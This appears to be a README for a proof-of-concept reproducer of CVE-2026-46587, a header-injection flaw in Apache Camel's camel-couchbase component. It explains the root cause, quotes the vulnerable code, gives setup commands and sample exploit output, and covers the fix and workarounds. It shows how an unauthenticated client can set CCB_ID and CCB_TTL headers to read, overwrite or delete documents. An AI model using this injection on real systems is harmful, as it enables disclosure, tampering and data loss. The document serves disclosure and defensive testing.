
Reproducer for CVE-2026-46587: Apache Camel camel-couchbase CCB_* header injection enabling document disclosure, tampering, and TTL-forced data destruction (fixed in 4.14.8/4.18.3/4.21.0)
CCB_* Header Injection Reproducer (CVE-2026-46587)This project demonstrates a message-header injection in Apache Camel's camel-couchbase component, tracked
as CVE-2026-46587. The component reads several Exchange headers to control its behaviour — CCB_KEY
(document key), CCB_ID (document id), CCB_TTL (document expiry), CCB_DDN (design document name) and
CCB_VN (view name). The string values of these header constants (defined in CouchbaseConstants) are plain
unprefixed names rather than the Camel-prefixed names every other component uses (e.g. CamelSqlQuery). Camel's
inbound HttpHeaderFilterStrategy blocks only header names that begin with Camel / camel, so these names
pass through the inbound filter unchanged. When a route exposes an HTTP entry point (for example platform-http)
in front of a couchbase producer, an untrusted HTTP client can set these headers directly and override the
document id, TTL, design document name or view name the route author configured.
This PoC demonstrates three distinct impacts from the one flaw:
CCB_ID reads a document outside the caller's scope.CCB_ID on a write overwrites a protected document.CCB_TTL=1 forces the caller's own document to silently self-destruct.Advisory: https://camel.apache.org/security/CVE-2026-46587.html
Same header-injection family as CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 and CVE-2026-47323. The fix shares its PR with the sibling advisory CVE-2026-46588 (camel-couchdb).
// CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings:
String HEADER_ID = "CCB_ID";
String HEADER_TTL = "CCB_TTL";
// CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers:
String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId();
int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL;
// ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...)
The fix (4.14.8 / 4.18.3 / 4.21.0) renames the header values to the Camel convention — CCB_ID →
CamelCouchbaseId, CCB_TTL → CamelCouchbaseTtl, CCB_KEY → CamelCouchbaseKey, CCB_DDN →
CamelCouchbaseDesignDocumentName, CCB_VN → CamelCouchbaseViewName — so they are blocked by the inbound
HttpHeaderFilterStrategy like every other Camel control header. The Java constant field names are unchanged.
from("platform-http:/save") // and /fetch
.removeHeaders("Camel*") // documented hardening — see below
.choice().when(header("CCB_ID").isNull())
.setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document
.end()
.to("couchbase:couchbase://<host>:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT");
The route defaults the document id to the caller's own draft and, as documented hardening, strips the Camel
control-header namespace at the edge. That does not help: the override headers are named CCB_ID / CCB_TTL,
not CamelCouchbaseId / CamelCouchbaseTtl, so they are stripped by neither removeHeaders("Camel*") nor the
built-in HTTP header filter — and the producer honours them.
The database is seeded with two documents: user-draft (the caller's own) and system-config (a sensitive
document the endpoint must never expose).
The victim is the Camel routes and their Couchbase database; the attacker is an unauthenticated HTTP client that only sets request headers. A tiny SDK harness seeds and reads documents for verification, independently of the vulnerable route.
CVE-2026-46587/
├── pom.xml # camel-platform-http + camel-couchbase 4.18.2
├── Dockerfile
├── docker-compose.yml # couchbase 7.6 (community) + one-shot provisioner + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchbaseSettings.java # host / bucket / creds / document ids
│ ├── CouchbaseHarness.java # SDK harness: seeds + reads docs for verification
│ ├── VictimRoute.java # platform-http:/save and /fetch -> couchbase producer
│ └── ExploitController.java # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build # couchbase -> provisioner -> app (first start pulls ~1.7GB)
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
The compose file initialises a single-node Couchbase cluster (KV only), creates the
mybucketbucket and anappuser, then starts the app. A dotted network alias (couchbase.cve.local) is used as the node hostname because Couchbase rejects short hostnames.
initial DB state (read straight from Couchbase):
user-draft = empty-draft
system-config = PROTECTED-ORIGINAL-CONFIG
=== 1) Legitimate fetch (no CCB_ID) — the caller's own draft ===
empty-draft
=== 2) Injected fetch (CCB_ID=system-config) — reads a protected document ===
PROTECTED-ORIGINAL-CONFIG
read-override / disclosure: true
=== 3) Legitimate save (no CCB_ID) — writes only the caller's own draft ===
system-config = PROTECTED-ORIGINAL-CONFIG (unchanged)
=== 4) Injected save (CCB_ID=system-config) — overwrites a protected document ===
system-config = ATTACKER-OVERWRITE-PAYLOAD
write-override / tampering: true
=== 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct ===
user-draft immediately after save: important quarterly data the user just saved
user-draft ~2.5s later: <not found: DocumentNotFoundException>
ttl-injection / data loss: true
>>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation
>>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true).
Any route with a couchbase producer reachable from an HTTP consumer. Injectable headers: CCB_ID / CCB_KEY
(document id/key → read, overwrite, or delete arbitrary documents), CCB_TTL (forced expiry → data loss), and,
on the consumer side, CCB_DDN / CCB_VN (design document and view names).
Upgrade to 4.14.8 / 4.18.3 / 4.21.0 (advisory PR #23228). After the fix the override headers carry the Camel
prefix (CamelCouchbaseId, CamelCouchbaseTtl, …) and are filtered at the HTTP boundary like every other
control header.
Until upgrading, strip the affected headers from untrusted inbound messages before they reach the producer, e.g.
.removeHeader("CCB_KEY"), .removeHeader("CCB_ID"), .removeHeader("CCB_TTL"), .removeHeader("CCB_DDN") and
.removeHeader("CCB_VN") in front of the couchbase endpoint, or apply a custom HeaderFilterStrategy that blocks
these names.
This reproducer is provided for security research and authorized testing only, for a publicly disclosed and fixed vulnerability. Do not use it against systems without explicit permission.
| Property | Value |
|---|
| Component | camel-couchbase |
| Affected Class | org.apache.camel.component.couchbase.CouchbaseProducer reading CouchbaseConstants.HEADER_ID ("CCB_ID"), HEADER_TTL ("CCB_TTL"), etc. |
| CWE | CWE-20: Improper Input Validation |
| Impact | An HTTP client sets CCB_* headers → override document id / TTL / design-doc / view → disclosure, tampering, data loss |
| Preconditions | A route exposes a couchbase producer behind an HTTP consumer (e.g. platform-http); unauthenticated when the consumer is |
| Affected Versions | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| Fixed Versions | 4.14.8, 4.18.3, 4.21.0 |
| Fix | PR apache/camel#23228 (main), backported via #23230 (4.18.x) / #23231 (4.14.x) |
| Credit | Yu Bao (PayPal) |